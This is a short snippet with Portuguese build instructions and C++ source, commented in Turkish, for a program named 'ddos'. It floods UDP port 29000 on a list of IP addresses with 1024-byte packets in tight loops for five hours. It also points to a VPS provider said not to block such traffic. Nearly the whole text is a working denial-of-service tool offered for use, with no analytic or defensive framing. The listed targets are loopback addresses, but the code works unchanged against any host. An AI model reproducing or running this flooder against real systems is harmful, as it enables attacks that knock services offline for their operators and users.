Dependências
sudo dnf install gcc-c++ glibc-devel make
Compilar o código
g++ ddos.cpp -o ddos -lpthread
./ddos
VPS sem bloqueio: idconline.vn
#include <iostream>
#include <chrono>
#include <thread>
#include <cstring>
#include <vector>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <unistd.h>
#define PORT 29000
#define PACKET_SIZE 1024 // Paket boyutu (bayt cinsinden)
#define PACKETS_PER_CYCLE 500 // Döngü başına gönderilecek paket sayısı
#define CYCLE_DURATION 0.1 // Döngü süresi (milisaniye cinsinden)
#define TOTAL_HOURS 5 // Çalışma süresi (saat cinsinden)
#define TIMEOUT_SECONDS 10 // Bağlantı zaman aşımı süresi (saniye cinsinden)
// Paketleri belirtilen IP'ye gönderen fonksiyon
void send_packets(int sockfd, struct sockaddr_in& server_addr) {
char packet[PACKET_SIZE];
memset(packet, 'A', PACKET_SIZE);
for (int i = 0; i < PACKETS_PER_CYCLE; ++i) {
sendto(sockfd, packet, PACKET_SIZE, 0, (struct sockaddr*)&server_addr, sizeof(server_addr));
}
}
int main() {
// Hedef IP adresleri
std::vector<std::string> ips = {"127.0.0.1", "127.0.0.2", "127.0.0.3", "127.0.0.4", "127.0.0.1"};
std::vector<int> sockets;
std::vector<struct sockaddr_in> server_addrs;
// Her IP için bir soket oluştur ve yapılandır
for (const auto& ip : ips) {
int sockfd = socket(AF_INET, SOCK_DGRAM, 0);
if (sockfd < 0) {
std::cerr << "Soket oluşturulurken hata: " << ip << std::endl;
continue;
}
struct timeval timeout;
timeout.tv_sec = TIMEOUT_SECONDS;
timeout.tv_usec = 0;
setsockopt(sockfd, SOL_SOCKET, SO_RCVTIMEO, &timeout, sizeof(timeout));
struct sockaddr_in server_addr;
memset(&server_addr, 0, sizeof(server_addr));
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(PORT);
inet_pton(AF_INET, ip.c_str(), &server_addr.sin_addr);
sockets.push_back(sockfd);
server_addrs.push_back(server_addr);
}
auto start_time = std::chrono::steady_clock::now();
auto end_time = start_time + std::chrono::hours(TOTAL_HOURS);
// Belirtilen süre boyunca paket gönder
while (std::chrono::steady_clock::now() < end_time) {
for (size_t i = 0; i < sockets.size(); ++i) {
send_packets(sockets[i], server_addrs[i]);
}
std::this_thread::sleep_for(std::chrono::microseconds(static_cast<int>(CYCLE_DURATION * 1000)));
}
// Soketleri kapat
for (int sockfd : sockets) {
close(sockfd);
}
return 0;
}